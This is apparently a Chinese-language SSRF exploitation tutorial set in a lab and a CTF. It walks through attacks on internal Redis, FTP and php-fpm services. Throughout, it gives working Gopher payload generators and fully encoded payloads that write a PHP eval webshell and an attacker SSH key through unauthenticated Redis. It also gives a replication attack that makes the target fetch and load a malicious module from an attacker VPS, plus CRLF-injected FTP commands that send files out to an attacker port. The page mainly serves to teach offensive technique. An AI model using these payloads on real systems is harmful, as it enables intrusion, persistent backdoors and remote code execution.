跳转至

SSRF在内网中的应用

Redis 未授权访问

在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放6379端口,则目标主机上很有可能存在Redis服务。此时,如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等,其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。

实验环境:

攻击机Kali:192.168.43.247 受害机Ubuntu:192.168.43.82

假设受害机上存在Web服务并且存在SSRF漏洞,通过SSRF进行端口扫描我们发现目标主机在6379端口上运行着一个Redis服务。下面我们就来演示如何通过SSRF漏洞去攻击Redis服务。

绝对路径写WebShell

首先构造redis命令:

JavaScript
flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

然后写一个脚本,将其转化为Gopher协议的格式

JavaScript
import urllib
protocol="gopher://"
ip="192.168.43.82"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""    # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

执行该脚本后生成payload如下:

img

这里将生成的payload要进行url二次编码(因为我们发送payload用的是GET方法),然后利用Ubuntu服务器上的SSRF漏洞,将二次编码后的payload打过去就行了:

JavaScript
ssrf.php?url=gopher%3A%2F%2F192.168.43.82%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

如下所示,成功在受害主机上面写入WebShell:

img

蚁剑连接成功:

img

写入SSH公钥

同样,我们也可以直接这个存在Redis未授权的主机的/.ssh目录下写入SSH公钥,直接实现免密登录,但前提是/.ssh目录存在,如果不存在我们可以写入计划任务来创建该目录。

首先在攻击机的/root/.ssh目录里生成ssh公钥key:

JavaScript
ssh-keygen -t rsa

将生成的id_rsa.pub里的内容复制出来构造redis命令:

JavaScript
flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC96S69JNdIOUWoHYOvxpnQxHAVZHl25IkDFBzTbDIbJBBABu8vqZg2GFaWhTa2jSWqMZiYwyPimrXs+XU1kbP4P28yFvofuWR6fYzgrybeO0KX7YmZ4xN4LWaZYEeCxzJrV7BU9wWZIGZiX7Yt5T5M3bOKofxTqqMJaRP7J1Fn9fRq3ePz17BUJNtmRx54I3CpUyigcMSTvQOawwTtXa1ZcS056mjPrKHHBNB2/hKINtJj1JX8R5Uz+3six+MVsxANT+xOMdjCq++1skSnPczQz2GmlvfAObngQK2Eqim+6xewOL+Zd2bTsWiLzLFpcFWJeoB3z209solGOSkF8nSZK1rDJ4FmZAUvl1RL5BSe/LjJO6+59ihSRFWu99N3CJcRgXLmc4MAzO4LFF3nhtq0YrIUio0qKsOmt13L0YgSHw2KzCNw4d9Hl3wiIN5ejqEztRi97x8nzAM7WvFq71fBdybzp8eLjiR8oq6ro228BdsAJYevXZPeVxjga4PDtPk= root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

然后编写脚本,将其转化为Gopher协议的格式:

JavaScript
import urllib
protocol="gopher://"
ip="192.168.43.82"
port="6379"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC96S69JNdIOUWoHYOvxpnQxHAVZHl25IkDFBzTbDIbJBBABu8vqZg2GFaWhTa2jSWqMZiYwyPimrXs+XU1kbP4P28yFvofuWR6fYzgrybeO0KX7YmZ4xN4LWaZYEeCxzJrV7BU9wWZIGZiX7Yt5T5M3bOKofxTqqMJaRP7J1Fn9fRq3ePz17BUJNtmRx54I3CpUyigcMSTvQOawwTtXa1ZcS056mjPrKHHBNB2/hKINtJj1JX8R5Uz+3six+MVsxANT+xOMdjCq++1skSnPczQz2GmlvfAObngQK2Eqim+6xewOL+Zd2bTsWiLzLFpcFWJeoB3z209solGOSkF8nSZK1rDJ4FmZAUvl1RL5BSe/LjJO6+59ihSRFWu99N3CJcRgXLmc4MAzO4LFF3nhtq0YrIUio0qKsOmt13L0YgSHw2KzCNw4d9Hl3wiIN5ejqEztRi97x8nzAM7WvFq71fBdybzp8eLjiR8oq6ro228BdsAJYevXZPeVxjga4PDtPk= root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""    # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",
"set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

执行该脚本后生成payload,同样将生成的payload进行url二次编码,然后利用受害机上的SSRF打过去:

JavaScript
ssrf.php?url=gopher%3A%2F%2F192.168.43.82%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%2524566%250D%250A%250A%250Assh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABgQC96S69JNdIOUWoHYOvxpnQxHAVZHl25IkDFBzTbDIbJBBABu8vqZg2GFaWhTa2jSWqMZiYwyPimrXs%252BXU1kbP4P28yFvofuWR6fYzgrybeO0KX7YmZ4xN4LWaZYEeCxzJrV7BU9wWZIGZiX7Yt5T5M3bOKofxTqqMJaRP7J1Fn9fRq3ePz17BUJNtmRx54I3CpUyigcMSTvQOawwTtXa1ZcS056mjPrKHHBNB2%2FhKINtJj1JX8R5Uz%252B3six%252BMVsxANT%252BxOMdjCq%252B%252B1skSnPczQz2GmlvfAObngQK2Eqim%252B6xewOL%252BZd2bTsWiLzLFpcFWJeoB3z209solGOSkF8nSZK1rDJ4FmZAUvl1RL5BSe%2FLjJO6%252B59ihSRFWu99N3CJcRgXLmc4MAzO4LFF3nhtq0YrIUio0qKsOmt13L0YgSHw2KzCNw4d9Hl3wiIN5ejqEztRi97x8nzAM7WvFq71fBdybzp8eLjiR8oq6ro228BdsAJYevXZPeVxjga4PDtPk%253D%2520root%2540kali%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252411%250D%250A%2Froot%2F.ssh%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252415%250D%250Aauthorized_keys%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

如下图,成功在受害机上面写入SSH公钥:

img

如下图,ssh连接成功:

img

Redis 主从复制

这里,我们通过 [网鼎杯 2020 玄武组]SSRFMe这道 CTF 题目来演示。

进入题目,给出源码:

JavaScript
<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try{
        $url_parse=parse_url($url);
    }
    catch(Exception $e){
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else{
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }
    if(isset($_GET['url'])){
        $url = $_GET['url'];
        if(!empty($url)){
        safe_request_url($url);
    }
    else{
        highlight_file(__FILE__);
    }
}
// Please visit hint.php locally.
?>

这源码见过好多次了,让我们从本地访问hint.php,但是要先绕过对内网IP的检测。这里我们可以利用curl和parse_url的解析差异来绕过,payload:

JavaScript
/?url=http://@127.0.0.1:80@www.baidu.com/hint.php

但是这里并不成功,因为这个方法在Curl较新的版本里被修掉了,所以我们还可以使用另一种方法,即0.0.0.0。0.0.0.0这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址,使用如下即可绕过:

JavaScript
/?url=http://0.0.0.0/hint.php

如下图所示,成功访问hint.php并得到源码:

img

在hint.php中发现了Redis的密码为root,看来是要利用主从复制来打Redis了。

需要以下即可工具:

https://github.com/xmsec/redis-ssrf(用于生成gopher协议的payload并搭建恶意的Redis主机) https://github.com/n0b0dyCN/redis-rogue-server(需要利用这里面的exp.so)

首先来看redis-ssrf中的ssrf-redis.py脚本:

img

如上图所示,通过选择不同的mode选项可以选择不同的攻击方式。这里我们选择mode 3,通过主从复制在目标主机上执行命令。需要修改一下几个地方:

将lhost改为攻击者vps的ip(47.xxx.xxx.72),用于控制目标Redis服务器连接位于攻击者vps上6666端口上伪造的恶意Redis主机。 将command修改为要执行的命令 将第140行的 “127.0.0.1” 改为 “0.0.0.0” ,用于绕过题目对于内网IP的限制。 最后在第160行填写上Redis的密码 “root”。

改完后如下:

img

img

然后执行该脚本生成payload:

img

由于题目需要发送的是GET请求,所以需要将payload进行url二次编码,得到最终的payload为:

JavaScript
gopher%3A%2F%2F0.0.0.0%3A6379%2F_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252412%250D%250A47.101.57.72%250D%250A%25244%250D%250A6666%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252414%250D%250Acat%2524%257BIFS%257D%2Fflag%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

然后将redis-rogue-server中的exp.so复制到redis-ssrf目录中,并使用redis-ssrf中的rogue-server.py在攻击者vps的6666端口上面搭建恶意的Redis主机。

但是这里需要写个死循环一直跑rogue-server.py,不然当目标机的Redis连接过来之后,一连上就自动断开连接,可能导致exp.so都没传完就中断了。

JavaScript
# do.sh
while [ "1" = "1" ]
do
python rogue-server.py
done

执行do.sh脚本即可:

img

然后执行之前生成的payload:

img

如上图所示,成功执行命令并得到flag。

配合FTP服务

ssrf中常用的协议有http,gopher等。但http的用处也仅限于访问内网网页,在可以crlf的情况下才有可能扩大攻击范围。gopher协议比较特殊,有一些环境下支持此协议,如:curl;但还有一些就不支持,如:urllib.request模块。

ftp的两种模式

ftp协议是文件传输协议,其使用模式有两种:

  1. 主动模式这个模式下,客户端向服务端发送连接请求命令PORT a,a,a,a,b,c,其中a是客户端ipv4的地址,b和c记录了一个由客户端开放的端口(b×256)+c。随后服务端去连接这个客户端地址。连接成功后开始对文件的传输。但由于客户端会由于防火墙等原因,导致服务端无法连接。就需要另一个模式了。

  2. 被动模式这个模式下,客户端向服务端发送连接请求命令PASV,随后服务端返回一个类似于右边字符串的响应227 Entering passive mode (a,a,a,a,b,c).,告诉客户端连接对应的地址进行文件传输。

发现了吗?在上面的命令中a, b, c如果可以受到我们控制,不就可以达到ssrf的效果了吗?

对ftp server进行ssrf

Python
# import logging
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")
handler = FTPHandler
handler.permit_foreign_addresses = True #<-- 此句很重要,原因后说
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer
# logging.basicConfig(level=logging.DEBUG) <-- 在测试时加入此句方便dubug
server = FTPServer(("0.0.0.0", 8877), handler)
server.serve_forever()

除ftp server,还有一个存在于内网的mongoDB,储存flask-session的pickle序列化数据。以及一个内网mysql储存用户数据。最后是向公网开放的flask(还有一个内网redis,这里用不到)。

原题目中存在一个参数可控的urllib.request.urlopen(value),且python版本3.6,存在crlf漏洞。题目最后要求rce,唯一有可能的点就是储存在mongoDB中的flask-session序列化数据。但如果使用http协议crlf传输mongoDB是不行的,会被mongoDB拒绝连接。gopher协议不支持。所以最终着眼于ftp协议。

本文为讲解ftp在ssrf中的应用,简化上面环境,假设ftp-server.py所在目录有以下文件。

img

先在urllib中连接尝试读取文件。

img

urllib在成功连接控制端口后,会发送url中的用户名与密码,因此可以在密码后crlf,注入其它命令。以下会发送ftp-server.py文件至自己vps的2333端口。

Text Only
ur.urlopen(“ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT v,p,s,ip,9,29\r\nRETR ftp-server.py\r\n@172.17.0.1:8877/ftp-server.py”).read()

img

既然都可以上传至自己vps上的指定端口,那么就可以将其改为内网的任意ip与端口。

ip可控,接下来就是如何控制内容了。

正常情况下,单凭urlopen是无法上传文件的,但因为有crlf,我们可以轻易上传文件。以下链接告诉服务器:从自己vps的2333端口获取test文件,保存

Text Only
ur.urlopen(“ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT v,p,s,ip,9,29\r\nSTOR test\r\n@172.17.0.1:8877/”).read()

这里简单写一个socket监听。

Go
import socket
s = socket.socket()
s.bind(("0.0.0.0", 2333))
s.listen()
c, a = s.accept()
print(a)
c.send(b'\x02\x03\x03')
c.close()
s.close()

img

成功上传。

上面是通过ftp server进行ssrf,但真实情况下就不太可能出现了。这种攻击被称为FTP bounce attack,有一定的年头了。现在的ftp server都会禁止这一行为。但在此题中handler.permit_foreign_addresses = True,让这种操作变为可能。

对ftp clinet进行ssrf

回到刚才说的laravel debug rce。

根据暴露此漏洞的原文。在模块中有以下抽象过的代码。

Bash
$data = file_get_contents($file);
file_put_contents($file, $data);

文章首先给出的方法是利用php://清空log文件,然后写入phar数据,使用phar协议反序列化。但还有一个方法,文章没有细说,就是使用ftp攻击php-fpm。

那么具体思路如下:

1.php从我们的ftp server获取payload,存入变量。

2.php上传文件时,将被动模式的连接地址改为内网地址,payload攻击。

我们先看一看php的file类函数是如何发送ftp请求的。依然是利用上面pyftpdlib模块的脚本开启ftp服务。在命令行使用:

Bash
php -r '$data = file_get_contents(\'ftp://fan:root@127.0.0.1:8877/test\');file_put_contents(\'ftp://fan:root@127.0.0.1:8877/test\', $data);'

查看ftp服务日志。(这里仅列出关键信息)

VB.net
; php获取文件
DEBUG:pyftpdlib:127.0.0.1:18486-[] -> 220 pyftpdlib 1.5.6 ready.
DEBUG:pyftpdlib:127.0.0.1:18486-[] <- USER fan
DEBUG:pyftpdlib:127.0.0.1:18486-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- PASS ******
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 230 Login successful.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- TYPE I
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- SIZE /test
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 213 4
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- EPSV
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 500 'EPSV': command not understood.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- PASV
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 227 Entering passive mode (127,0,0,1,35,40).
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- RETR /test
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 150 File status okay. About to open data connection.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 226 Transfer complete.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- QUIT
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 221 Goodbye.
; php上传文件
DEBUG:pyftpdlib:127.0.0.1:18488-[] -> 220 pyftpdlib 1.5.6 ready.
DEBUG:pyftpdlib:127.0.0.1:18488-[] <- USER fan
DEBUG:pyftpdlib:127.0.0.1:18488-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- PASS ******
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 230 Login successful.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- TYPE I
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- SIZE /test
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 213 4

这里,php先使用SIZE命令确认文件是否存在,然后使用了EPSV命令,这个命令是启用扩展被动模式。ftp server将指返回端口,不返回ip。解决方法很简单,找一个不支持这个扩展的服务器就行。(这里笔者是修改了pyftpdlib的源码)

综合上面信息,有两个难点:

  1. 获取和上传的是同一个文件,file_put_contents会检测文件是否存在,如果存在则不会进行上传操作。因此需要在获取文件后的瞬间删除该文件。

  2. 一般ftp client都使用被动模式。php获取文件时,要求被动模式返回服务器自己的地址。但php上传文件时,返回的却是内网地址。

很明显,上面的问题套用一般的轮子很难解决。这里虽然可以尝试利用hook之类的技术实现类似效果,但因为ftp协议本身的交互没有那么复杂。所以笔者决定做一个fake ftp(已开源)。

这里尝试将一个test字符串从外网,通过php的ftp client发送至内网的2333端口。

效果如下:

img

img

img

其他攻击面

  • Apache Hadoop远程命令执行
  • axis2-admin部署Server命令执行
  • Confluence SSRF
  • counchdb WEB API远程命令执行
  • dict
  • docker API远程命令执行
  • Elasticsearch引擎Groovy脚本命令执行
  • ftp / ftps(FTP爆破)
  • glassfish任意文件读取和war文件部署间接命令执行
  • gopher
  • HFS远程命令执行
  • http、https
  • imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
  • Java调试接口命令执行
  • JBOSS远程Invoker war命令执行
  • Jenkins Scripts接口命令执行
  • ldap
  • mongodb
  • php_fpm/fastcgi 命令执行
  • rtsp - smb/smbs(连接SMB)
  • sftp
  • ShellShock 命令执行
  • Struts2 命令执行
  • telnet
  • tftp(UDP协议扩展)
  • tomcat命令执行
  • WebDav PUT上传任意文件
  • WebSphere Admin可部署war间接命令执行
  • zentoPMS远程命令执行

总结

ftp可以在ssrf中起到作用,其原因便是PORT和PASV两个命令导致的连接跳转。把握此点,便可使ftp在漏洞利用中大放异彩!一个老掉牙的ftp协议,在如今也可以返回人们的视野。告诫我们不要忽视那些细节,可能那些细节便是一个突破口。

其他攻击面参考:https://zhuanlan.zhihu.com/p/596892238